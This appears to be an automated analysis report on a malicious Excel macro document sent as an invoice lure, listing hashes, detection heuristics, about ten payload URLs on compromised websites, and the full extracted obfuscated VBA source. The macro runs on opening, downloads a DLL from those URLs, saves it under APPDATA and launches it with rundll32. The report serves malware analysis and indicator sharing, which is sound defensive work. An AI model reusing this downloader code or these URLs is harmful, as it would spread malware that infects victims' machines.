Office (OLE) malware analysis — malicious · 414351678d81ceef

MALICIOUS

Office (OLE)

218.0 KB Created: 2000-04-13 21:48:14 Authoring application: Microsoft Excel First seen: 2021-06-28

MD5: a55f30b60601c60f75b0ddf69bedda89 SHA-1: bf3d54d313f9b63da1ef7341f6a3b9dfcda67f58 SHA-256: 414351678d81ceef97e110fce7a204be3266abe6c69328f3376897ef39db1e86

308 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File T1566.001 Spearphishing Attachment

This Excel document contains VBA macros that execute upon opening, leveraging `CreateObject` to download and save a payload from a de-obfuscated URL. The macro's logic, including the `Workbook_Open` subroutine and the use of `CreateObject`, indicates a downloader functionality. The document body's mention of 'Terms of Payment' and 'Invoice Receipt' suggests a lure to trick the user into enabling macros.

Heuristics 12

VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
If .Status = CLng((0.238805970149254 * 804) Or 8) And Len(.responseBody) > CLng(106 Xor 48) Then
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set bucksheesgossip = CreateObject(indabaskinemala)
```
Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL

A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
imposablesaltan = Environ(melanochroouslo.witchgrassespol(gentoosboxballs))
```
URL de-obfuscated from VBA string literal (3 URLs) info OLE_VBA_OBFUSCATED_URL

A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY

OLE file is 223,232 bytes but its declared streams total only 109,392 bytes — 113,840 bytes (51%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD

OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
Fake invoice / payment lure low SE_INVOICE_LURE

Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://sierraimoveis.com.br/manager/bower_components/bootstrap/less/mixins/BpZbPd8mY0.php Referenced by macro
- https://arteecaligrafia.com.br/imagens/fotos/thumbs/MupJ4cZzxoElmn.phpReferenced by macro
- https://steriglass.stigmatinesafrica.org/wp-includes/sodium_compat/namespaced/Core/ChaCha20/KITDlCQHVyI.phpReferenced by macro
- https://steijnborg.mobilitum.com/wp-content/themes/twentytwentyone/template-parts/content/WjovFkpG3.phpReferenced by macro
- https://es.e-m2.net/wp-includes/js/tinymce/themes/inlite/8S7qnln7.phpReferenced by macro
- https://teste.sitiodoastronauta.com.br/wp-includes/js/tinymce/plugins/charmap/M19jooPri8Tq.phpReferenced by macro
- https://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSV/Import/Protocol/Exception/M7yde0cw.php776-2&P$yJF2(XReferenced by macro
- https://santorinitravel.naturalgraphic.hu/wp-content/plugins/cookie-law-info/public/css/l5e7I9bjYqmEQ.php#j;A#c$oUReferenced by macro
- https://steijnborg.mobilitum.com/wp-content/@eW=lthemes/twentytwentyo@eW=lne/template-@eW=lparts/content/WjovFkpG3.phpReferenced by macro
- https://monarchmedical.co.uk/vendor/bootstrap/css/xrKVZy8sh5ri.php7xjReferenced by macro
- https://JmaYBL!es.JmaYBL!e-m2.JmaYBL!neJmaYBL!t/wp-includes/js/tinJmaYBL!ymce/themes/inlite/8S7qnln7.phpReferenced by macro
- https://secaudit.e-m2.net/wp-content/themes/finvision-child/template-parts/blog-regular/Rib3TgWd3v.phpO&Referenced by macro
- https://teste.sitiodoastronauta.com.br/wp-includes/#uc/#js/tinymce/plug#uc/#ins/charmap/M19jooPri8Tq.phpReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16437 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	16437 bytes
SHA-256: `1a0c49947018eed81bc9a843f96acea7494639d533e2e59938883b7c625d1733`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub Workbook_Open() On Error GoTo differencyjugul chemotherapistb = 1 / 0 differencyjugul: If Err.Number <> 0 Then Msg = "Thank You!" MsgBox Msg, , "Good", Err.HelpFile, Err.HelpContext sawhorsestagmat = (staunchesthyper.cetrimideabroga(inappetentgunfl)) End If End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "nasopharyngessy" Function bucksheesgossip(indabaskinemala) Set bucksheesgossip = CreateObject(indabaskinemala) End Function Attribute VB_Name = "poetstartrazine" Function imposablesaltan() imposablesaltan = Environ(melanochroouslo.witchgrassespol(gentoosboxballs)) End Function Attribute VB_Name = "doubletonpaluda" Function rearousalsindox(commercialisesc) rearousalsindox = melanochroouslo.webcamsstarkeda(equalisespracti) & Chr(CLng(52 Xor 22)) & poetstartrazine.imposablesaltan() & dumfounderscupr.acescencybiocid(bushwomanbasidi) & Chr(CLng(Not (5.88235294117647E-02 * -595))) & braidesthatguar.pateraelyricunn(screedsignorini) Debug.Print rearousalsindox End Function Attribute VB_Name = "intiguaranas" Function fordedmythologi(kvasburgherscai) 'bodyworkdiplomaticallyinauthen anesthetises improper aceta up baptiseorthopterans 'kaysreorganizationstartarickeb sphincterdysthymiasaporias hooknosed respelling labourism annealed sopranini essentialiseobsidionarysurcoat lezzesverboser = Mid("vuuvEFmelNkhttps://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSV/Import/Protocol/Exception/M7yde0cw.php776-2&P$yJF2(X", CLng((1002 + -990#) And 12), CLng(-0.156368221941992 * -793)) fordedmythologi = lezzesverboser 'spreethedcoalitioniststriageds luridestsurfboardingscleuchymp viraemiapastelistsgrievousness trawlnet belates scirrhuses ef eastermostproximatenesstremolo End Function Function eeriermetatheri(rereleasedstone) 'meouedtamarin hedgebills lacrimator ungotten visier stean 'supergovernmentbuttockedhuzzah pinite rustres odontology pulv severfrenzilytabulationsschism nomadizationbit = Replace("h+:JO7qittps://sierraimoveis+:JO7qi.com.br/ma+:JO7qinager/bower_components/bootstrap/les+:JO7qis/mixins/BpZbPd8mY0.php", "+:JO7qi", "") eeriermetatheri = nomadizationbit 'transcendentalistsforegoer neuterstorchlight jew induline souffle 'entablature ablative nonpoetic hangarspendy frauleins hushpuppies unremedi 'carbureter fiberglassing liber interdenominationalcrystalises tombacks eurocrat outblooms floated classicizing scurrioursteutonisedzebub End Function Function unmovedskawsdaz(undersoldconstr) 'gasometerssurmisefidgednonderi hyraces defence unstarred neur waterishnesses subahdary artis chay slaughterously priorates 'magniloquently misinterpreting gofferedorthographicresolubili tailoresses mho grangerise condensatedobliteratoroveredit shnooktriageeuthanasiaamenorrh counterpicketsh = Mid("@L(;8;eHuY\|GET$0T6e(iS7%.E", CLng(15 And (5.94059405940594E-02 * 202)), CLng(3.62756952841596E-03 * (265 + 562#))) unmovedskawsdaz = counterpicketsh 'prefectshipsplayactingfustocco homeoboxencratyservicedpulque coatee doctorly subversionary vomitorium tachists gadded farsesclownerieswinterbourne 'bassnesses cinchonising tripinnately homographic recon dumpeestodgierincrementing recontaminatedporcelainizeinte End Function Attribute VB_Name = "braidesthatguar" Function lochancommissio(misseatintertex) 'narkiestsheeny entristsspinnakerboltedelectro stirredmellsalina tolansparvanimityctenidiumdere 'surnaming sugarcoated nitrosat crawlings horrendous myocarditises behoveful lasslo tondinoroughingnigrifying carcasingvloggingsubepochscher famishmentstrit = Replace("h/H;\mo/H;\mottps://arte/H;\moecaligrafia.com/H;\mo./H;\mobr/imagens/fotos/thumbs/MupJ4cZzxoElmn.php", "/H;\mo", "") lochancommissio = Join(Array(famishmentstrit)) 'disyllabify pokelogans amnesic dreggybrisling punchiest friaries religionist municipalists slive rumourer e 'preimposes excursed conspiratresses allegedly aplasiasantijamming reattackingstandardless 'charterergills batteilant spookiest breem int histochemical kavass End Function Function triersvirginium(canonmongoe) 'leftiesectionalise crowning biplanes theatricaliz gormandiserrhotacisedplatonica scur abjectness denouements dedifferentiations transfix py 'backloads filming mameluke nit wideningfundicjungli grames freemasons stetson delousespopsicleskelloch damagersniveler 'peraeopodparagebuzzyunderrun clinoaxis widowbirds injurious brachygraphy outjumping gastru nonconcernsappl = Mid("#^:xLhttps://santorinitravel.naturalgraphic.hu/wp-content/plugins/cookie-law-info/public/css/l5e7I9bjYqmEQ.php#j;A#c$oU", CLng(Not (176 - 183#)), CLng(Asc("i"))) triersvirginium = Join(Array(nonconcernsappl)) 'unflustered gynophore meaninglessnessesrecalssiddurs scarreunbarksrailwaysscavenged sabines aquariist loges akrasiaheterodactyls 'nonjoinersloams variative irrationals emascula literalizer spitfires fundis gifts harsh 'woodbinds minyan trucage woodw prologisesmytiloidbrews turnskins megajoule End Function Function pateraelyricunn(knightheadstumb) 'unfaired pulley cigar remateri paralyzer reproduction blowzie filtrabilitytubbishdisbowelexh disploding panomphaean 'comelinesslambertchirurgeries partaking malled orthopsychiat rhythmically ballistites blurtmandibles mollycoddlingconciliaryfoulebi psychosessavvin = Replace(",StifJX aaifJX artifJX aW", "ifJX a", "") pateraelyricunn = psychosessavvin 'unwholesome lightful twits sub ingulphing plack salute gloze periclitatecowyunslaked 'cumbrous climatological analyz macrocyst typings anamniote literatelytuilyiesclumped hydridunguled End Function Attribute VB_Name = "staunchesthyper" Function cetrimideabroga(aromatizationsf) For Each vistostrypaflav In Array(intiguaranas.fordedmythologi(squareheadpaupe), melanochroouslo.demagogicdilapi(reregulatecamer), primersoverharv.cleanadmirers(seasonsinabstin), braidesthatguar.lochancommissio(womanlinessesmu), intiguaranas.eeriermetatheri(tergumdihedrall), melanochroouslo.gumsinstrumenta(xyloidinkelimap), primersoverharv.wimblingeffluen(analyticalclois), melanochroouslo.wullhormoneciti(caesiousequipot), dumfounderscupr.ergonsprisages(anoxemiastropho), braidesthatguar.triersvirginium(filterablegalva)) On Error Resume Next With nasopharyngessy.bucksheesgossip(melanochroouslo.hardwoodswiped(rejectionistbri)) .Open intiguaranas.unmovedskawsdaz(trinketerdeprec), vistostrypaflav, False .Send If .Status = CLng((0.238805970149254 * 804) Or 8) And Len(.responseBody) > CLng(106 Xor 48) Then Set neoteristbeatbo = nasopharyngessy.bucksheesgossip(melanochroouslo.dhalnegligentsa(misentreataffec)) neoteristbeatbo.Open neoteristbeatbo.Type = CLng(Not -2) neoteristbeatbo.Write .responseBody neoteristbeatbo.SaveToFile poetstartrazine.imposablesaltan() & dumfounderscupr.acescencybiocid(bushwomanbasidi), CLng(2 Or 0) neoteristbeatbo.Close Exit For End If End With Next vistostrypaflav With nasopharyngessy.bucksheesgossip(melanochroouslo.ebayersthongssw(rodomontadedacc)) .Run doubletonpaluda.rearousalsindox(footeredtoluate) End With End Function Attribute VB_Name = "primersoverharv" Function cleanadmirers(gibelparaphilia) 'anemometricalsteroidal refencing notably pycnoconidia epirogeneticbenzoatebarefitser spirkettingdialyzephraserprist 'derthnondeterministicfaggots exercycles anniversary astrono nephrolepises overdue exeunt c hoolachansreacq = Replace("https://steijnborg.mobilitum.com/wp-content/@eW=lthemes/twentytwentyo@eW=lne/template-@eW=lparts/content/WjovFkpG3.php", "@eW=l", "") cleanadmirers = Join(Array(hoolachansreacq)) 'outrowed farnarkel raphes dateline orlestarlatansmonoplegiasinuks 'gymnastparquetrycementumsmisgr spermogonium refreshful learne defeudalisevotaressesarchenter 'brog virelays inheritrixrigout ironsmith utes curfew addressees bodyshells inexpert bends noveldoms conse End Function Function wimblingeffluen(teetotalingaimf) 'socialisable prefrontal rootst damagecuittledkashmirsenlargem irresistancesreincorporatesulf wackilyfourthse = Mid("n&uxMNf0g_Ghttps://monarchmedical.co.uk/vendor/bootstrap/css/xrKVZy8sh5ri.php7xj<l<#HSs", CLng((-785 + 800#) Xor 3), CLng(347 - (260 - -21#))) wimblingeffluen = Join(Array(wackilyfourthse)) 'barracudasmassasauga anticlassicalfloppedheartaches wayfarers ythundered overmount 'overstockedaffrontssulfate amphitrichaignitabilitiesdisem caligosswindgedpenitential End Function Attribute VB_Name = "melanochroouslo" Function demagogicdilapi(ovoidalundercre) 'repudiating benedicite assistorextinguishantresensiti askings pulkha 'eyeable delict outsinging twis warreying parrels defecating hypersalivationssectoredratafe aaaimlessdesand unappetisingorc = Replace("httpNP>dLCsNP>dLC://steriglass.NP>dLCstigmatineNP>dLCsafrica.org/wp-includes/sodium_compat/namespaced/Core/ChaCha20/KITDlCQHVyINP>dLC.php", "NP>dLC", "") demagogicdilapi = Join(Array(unappetisingorc)) 'timeouttardyonbetatrons superintend chapping regreeneddiplopod hyperstimulated patrolman ideo 'tripierdogberryismthrombocytop transpierceddandification gasogene bastardisms blueticks 'heigh solemnizes overwarm affranchised capellet pinealec obtainabilities defeminisation End Function Function gumsinstrumenta(sysopslusteredb) 'finalistsobturatedmarriageabil ideologist alkalinized utopianize demanding parabapti ultramarathoner = Replace("https://JmaYBL!es.JmaYBL!e-m2.JmaYBL!neJmaYBL!t/wp-includes/js/tinJmaYBL!ymce/themes/inlite/8S7qnln7.php", "JmaYBL!", "") gumsinstrumenta = ultramarathoner 'klootchcomminationabruptly creaturehoodslimierquantitatio machtpolitiksenraunging quoitsnectarivorous stoopers screedings trainees 'subcentrallytabourets andantes gastrostomies viverri neuromastsmismatescliticizedef energizedlexicographical deactivatorchamferconservatori 'notaries passageway unconfesse embossesunprofessionalhawser sedile yesternights opsimath f quintessencelaundrette End Function Function wullhormoneciti(pentadactylfetc) 'churlishnesses sdeignfull here overused vaseline constrainer huttings chimerical 'sororities designations dawtin emplaning blunking sudatorybestialisesligroinsins ditcher enrollee feus planer pilgrimise besoming veneerers appointmentrown = Mid("L!R6>62https://secaudit.e-m2.net/wp-content/themes/finvision-child/template-parts/blog-regular/Rib3TgWd3v.phpO&<k_z9B8", CLng((-399 - 386#) + 793), CLng(-267 - (1.05730659025788 * -349))) wullhormoneciti = appointmentrown 'boat arilloid unbreakable subcardinals opera budmash dis oxygenizesdenominateblurs End Function Function hardwoodswiped(birkiesthalamic) 'halomorphichagridesstalagmite hypercharge distinguishment st serpentinizingbeachcombersexag 'heliopausestrummelcriminalisti grandiosities subbasses xylori nobblerpenneechsscourse 'legatotoquet neapstartrazines assurers electroencephalograms repriveroadroll = Replace("M8H4Fl40SX8H4Fl40ML28H4Fl40.X8H4Fl40MLH8H4Fl40TTP", "8H4Fl40", "") hardwoodswiped = Join(Array(repriveroadroll)) 'uproarious hippydoms trizonal swordfish pouldres derecognitionlawcourtssupersed 'teuchters roguish rajahship mi lithotritics outliver flammabl pausingly phosphorescently par codists teacherly overzealous End Function Function dhalnegligentsa(rickettsiadipst) 'bemuds hexenes physiognomists permutes middle plaidedvalkyriesredyeingcaimac salviainvolucressensiblest mimeocompassioned 'phasingsuperbness gallowglass pinprick antepenul penumbra mastaba suburbans velvetings recessively nonmeta tordions strainings protrusive 'rejoicersfractionatedbasionhal farmings solidums powhiri crot rookeries philippina resummonedmissi = Mid("8k=_,.qlSYmEM_ADODB.Streamhgq5a7U3<UQc(@", CLng(413 - 398), CLng((-307 + 186#) + 133)) dhalnegligentsa = resummonedmissi 'steyestfalteringmesclumsoctode wallflowers eggnog controlment scripophile disemb 'inscription citrin orthodontistsadornments pannelled hm shadowless maquisards superoctaves End Function Function ebayersthongssw(outgeneralledvi) 'ballow subadar handsels arsenoanchorette deraigns crosstalk tenotomiesheadachiestshoreweed 'unlikelierlob constellates taller orthopedis thriftinessscarthcoinsurersthy ficos sneb distained restorerstriftodysseyphonograp fatlikebedelsfl = Replace("W$,wa3scr$,wa3ip$,wa3$,wa3t.$,wa3Shell", "$,wa3", "") ebayersthongssw = fatlikebedelsfl 'abasing tyiyn jaap geriatristoutblessed skiddoosanonymizingamberoidsbo poovetrimmingscooers overstockedflatlingsskites 'mollitiesalyssumapprovingeffie splodginesses ineffabilities c dioptometriesdevvellingextirpa inhabitsperiderms End Function Function witchgrassespol(blusteringfarna) 'exsanguinating outreason karma bravesnowlikeporphyropsin clinquants friction connivance solecism inexplainable 'postpositivegustyfootruletalen reinflates priser harbors unquantifiable offramps mizzle insetsnisuscounterpicketingnon arabicisationwindburnteclairci choregraphiessa = Replace("A<r RlMppDa<r RlMta", "<r RlM", "") witchgrassespol = choregraphiessa 'posthousesyttriumsmisbehavehal hallo desnooding headdresses sautoiresinscapemethodizations adagesantimanagementfeudalisat End Function Function webcamsstarkeda(domiestbiodynam) 'russels cytostatics puninesspackager colling monogamously flagellom forwardnesses parasiticides 'rescalemedevacfeltier fumblercovellinestepdancermass besteads divas postponencesvex = Mid("@0SV:Xi%^iS_rundll32.exe $X=D#mHJjvPvcQ", CLng((-526 + 525.5625) * -32), CLng((584 + -584.016229712859) * -801)) webcamsstarkeda = Join(Array(postponencesvex)) 'earwax fauvettes uncannily wurliesluminositiesincumbrance autogyros spaniolises mainline 'articular badass nurturers ant farses furnaces orthopaedist undulate fatshederas eyehooks hissier carditic volleys mongrelism wholeness 'zirconiasfingerpickrunletkhutb rhodomontade epanaphoral unbei aquiculturist panachaea radiotelegraphyunbought categoric acculturating End Function Attribute VB_Name = "dumfounderscupr" Function ergonsprisages(banlieuesoestru) 'bisphenolsmismeasures pinesaps undershirts myoelectr precentor monocotyledons fortn cutbackscoolheaded 'sailfishwallydraiglesdisadvant nympholeptsmannitolmisapprecia consolatoriesdebuds programmabilities barista stoe vincibilityrailcardshass caesareannewsca = Replace("https://teste.sitiodoastronauta.com.br/wp-includes/#uc/#js/tinymce/plug#uc/#ins/charmap/M19jooPri8Tq.php", "#uc/#", "") ergonsprisages = Join(Array(caesareannewsca)) 'amphiprotic phasmid anticorrup recusing corbel batteler inscient screenlands 'fins intermats ky gradient tibiae fragmentarily minced laterborn agoutyjusticiabilities grangerisesstardriftenterogast End Function Function acescencybiocid(cataphysicalinc) 'antipyics jellyroll verligparamorphs clout hippocentaur distributed redbaiter libration 'curdinesses libriform widdergoslingmendacityrhinitis royalisedaggiornamentosfoetid vicenary hectoliter prodromatalooti = Replace("\3&K.k9&K.k9&K.k96&K.k99&K.k947&K.k9.dll", "&K.k9", "") acescencybiocid = Join(Array(prodromatalooti)) 'readdictedeluent harpooner gastrectomy posterio helicity condole 'undulypekesstillbornbortsches vitreous recalculates enthroni fents simarubaceous mutate fictionalization 'chunnelsminicourse reallocating polygams antiproton intended resaddled employability End Function

SHA-256: 1a0c49947018eed81bc9a843f96acea7494639d533e2e59938883b7c625d1733

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()


    On Error GoTo differencyjugul
    chemotherapistb = 1 / 0


differencyjugul:
        If Err.Number <> 0 Then
            Msg = "Thank You!"
            MsgBox Msg, , "Good", Err.HelpFile, Err.HelpContext
sawhorsestagmat = (staunchesthyper.cetrimideabroga(inappetentgunfl))
        End If


End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "nasopharyngessy"
Function bucksheesgossip(indabaskinemala)
Set bucksheesgossip = CreateObject(indabaskinemala)
End Function

Attribute VB_Name = "poetstartrazine"
Function imposablesaltan()
imposablesaltan = Environ(melanochroouslo.witchgrassespol(gentoosboxballs))
End Function

Attribute VB_Name = "doubletonpaluda"
Function rearousalsindox(commercialisesc)
rearousalsindox = melanochroouslo.webcamsstarkeda(equalisespracti) & Chr(CLng(52 Xor 22)) & poetstartrazine.imposablesaltan() & dumfounderscupr.acescencybiocid(bushwomanbasidi) & Chr(CLng(Not (5.88235294117647E-02 * -595))) & braidesthatguar.pateraelyricunn(screedsignorini)
Debug.Print rearousalsindox
End Function

Attribute VB_Name = "intiguaranas"
Function fordedmythologi(kvasburgherscai)
'bodyworkdiplomaticallyinauthen anesthetises improper aceta up baptiseorthopterans
'kaysreorganizationstartarickeb sphincterdysthymiasaporias hooknosed respelling labourism annealed sopranini essentialiseobsidionarysurcoat
lezzesverboser = Mid("vuuvEFmelNkhttps://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSV/Import/Protocol/Exception/M7yde0cw.php776-2&P$yJF2(X", CLng((1002 + -990#) And 12), CLng(-0.156368221941992 * -793))
fordedmythologi = lezzesverboser
'spreethedcoalitioniststriageds luridestsurfboardingscleuchymp viraemiapastelistsgrievousness trawlnet belates scirrhuses ef eastermostproximatenesstremolo
End Function
Function eeriermetatheri(rereleasedstone)
'meouedtamarin hedgebills lacrimator ungotten visier stean
'supergovernmentbuttockedhuzzah pinite rustres odontology pulv severfrenzilytabulationsschism
nomadizationbit = Replace("h+:JO7qittps://sierraimoveis+:JO7qi.com.br/ma+:JO7qinager/bower_components/bootstrap/les+:JO7qis/mixins/BpZbPd8mY0.php", "+:JO7qi", "")
eeriermetatheri = nomadizationbit
'transcendentalistsforegoer neuterstorchlight jew induline souffle
'entablature ablative nonpoetic hangarspendy frauleins hushpuppies unremedi
'carbureter fiberglassing liber interdenominationalcrystalises tombacks eurocrat outblooms floated classicizing scurrioursteutonisedzebub
End Function
Function unmovedskawsdaz(undersoldconstr)
'gasometerssurmisefidgednonderi hyraces defence unstarred neur waterishnesses subahdary artis chay slaughterously priorates
'magniloquently misinterpreting gofferedorthographicresolubili tailoresses mho grangerise condensatedobliteratoroveredit shnooktriageeuthanasiaamenorrh
counterpicketsh = Mid("@L(;8;eHuY|GET$0T6e(iS7%.E", CLng(15 And (5.94059405940594E-02 * 202)), CLng(3.62756952841596E-03 * (265 + 562#)))
unmovedskawsdaz = counterpicketsh
'prefectshipsplayactingfustocco homeoboxencratyservicedpulque coatee doctorly subversionary vomitorium tachists gadded farsesclownerieswinterbourne
'bassnesses cinchonising tripinnately homographic recon dumpeestodgierincrementing recontaminatedporcelainizeinte
End Function

Attribute VB_Name = "braidesthatguar"
Function lochancommissio(misseatintertex)
'narkiestsheeny entristsspinnakerboltedelectro stirredmellsalina tolansparvanimityctenidiumdere
'surnaming sugarcoated nitrosat crawlings horrendous myocarditises behoveful lasslo tondinoroughingnigrifying carcasingvloggingsubepochscher
famishmentstrit = Replace("h/H;\mo/H;\mottps://arte/H;\moecaligrafia.com/H;\mo./H;\mobr/imagens/fotos/thumbs/MupJ4cZzxoElmn.php", "/H;\mo", "")
lochancommissio = Join(Array(famishmentstrit))
'disyllabify pokelogans amnesic dreggybrisling punchiest friaries religionist municipalists slive rumourer e
'preimposes excursed conspiratresses allegedly aplasiasantijamming reattackingstandardless
'charterergills batteilant spookiest breem int histochemical kavass
End Function
Function triersvirginium(canonmongoe)
'leftiesectionalise crowning biplanes theatricaliz gormandiserrhotacisedplatonica scur abjectness denouements dedifferentiations transfix py
'backloads filming mameluke nit wideningfundicjungli grames freemasons stetson delousespopsicleskelloch damagersniveler
'peraeopodparagebuzzyunderrun clinoaxis widowbirds injurious brachygraphy outjumping gastru
nonconcernsappl = Mid("#^:xLhttps://santorinitravel.naturalgraphic.hu/wp-content/plugins/cookie-law-info/public/css/l5e7I9bjYqmEQ.php#j;A#c$oU", CLng(Not (176 - 183#)), CLng(Asc("i")))
triersvirginium = Join(Array(nonconcernsappl))
'unflustered gynophore meaninglessnessesrecalssiddurs scarreunbarksrailwaysscavenged sabines aquariist loges akrasiaheterodactyls
'nonjoinersloams variative irrationals emascula literalizer spitfires fundis gifts harsh
'woodbinds minyan trucage woodw prologisesmytiloidbrews turnskins megajoule
End Function
Function pateraelyricunn(knightheadstumb)
'unfaired pulley cigar remateri paralyzer reproduction blowzie filtrabilitytubbishdisbowelexh disploding panomphaean
'comelinesslambertchirurgeries partaking malled orthopsychiat rhythmically ballistites blurtmandibles mollycoddlingconciliaryfoulebi
psychosessavvin = Replace(",StifJX aaifJX artifJX aW", "ifJX a", "")
pateraelyricunn = psychosessavvin
'unwholesome lightful twits sub ingulphing plack salute gloze periclitatecowyunslaked
'cumbrous climatological analyz macrocyst typings anamniote literatelytuilyiesclumped hydridunguled
End Function

Attribute VB_Name = "staunchesthyper"
Function cetrimideabroga(aromatizationsf)
For Each vistostrypaflav In Array(intiguaranas.fordedmythologi(squareheadpaupe), melanochroouslo.demagogicdilapi(reregulatecamer), primersoverharv.cleanadmirers(seasonsinabstin), braidesthatguar.lochancommissio(womanlinessesmu), intiguaranas.eeriermetatheri(tergumdihedrall), melanochroouslo.gumsinstrumenta(xyloidinkelimap), primersoverharv.wimblingeffluen(analyticalclois), melanochroouslo.wullhormoneciti(caesiousequipot), dumfounderscupr.ergonsprisages(anoxemiastropho), braidesthatguar.triersvirginium(filterablegalva))
On Error Resume Next
With nasopharyngessy.bucksheesgossip(melanochroouslo.hardwoodswiped(rejectionistbri))
.Open intiguaranas.unmovedskawsdaz(trinketerdeprec), vistostrypaflav, False
.Send
If .Status = CLng((0.238805970149254 * 804) Or 8) And Len(.responseBody) > CLng(106 Xor 48) Then
Set neoteristbeatbo = nasopharyngessy.bucksheesgossip(melanochroouslo.dhalnegligentsa(misentreataffec))
neoteristbeatbo.Open
neoteristbeatbo.Type = CLng(Not -2)
neoteristbeatbo.Write .responseBody
neoteristbeatbo.SaveToFile poetstartrazine.imposablesaltan() & dumfounderscupr.acescencybiocid(bushwomanbasidi), CLng(2 Or 0)
neoteristbeatbo.Close
Exit For
End If
End With
Next vistostrypaflav
With nasopharyngessy.bucksheesgossip(melanochroouslo.ebayersthongssw(rodomontadedacc))
.Run doubletonpaluda.rearousalsindox(footeredtoluate)
End With
End Function

Attribute VB_Name = "primersoverharv"
Function cleanadmirers(gibelparaphilia)
'anemometricalsteroidal refencing notably pycnoconidia epirogeneticbenzoatebarefitser spirkettingdialyzephraserprist
'derthnondeterministicfaggots exercycles anniversary astrono nephrolepises overdue exeunt c
hoolachansreacq = Replace("https://steijnborg.mobilitum.com/wp-content/@eW=lthemes/twentytwentyo@eW=lne/template-@eW=lparts/content/WjovFkpG3.php", "@eW=l", "")
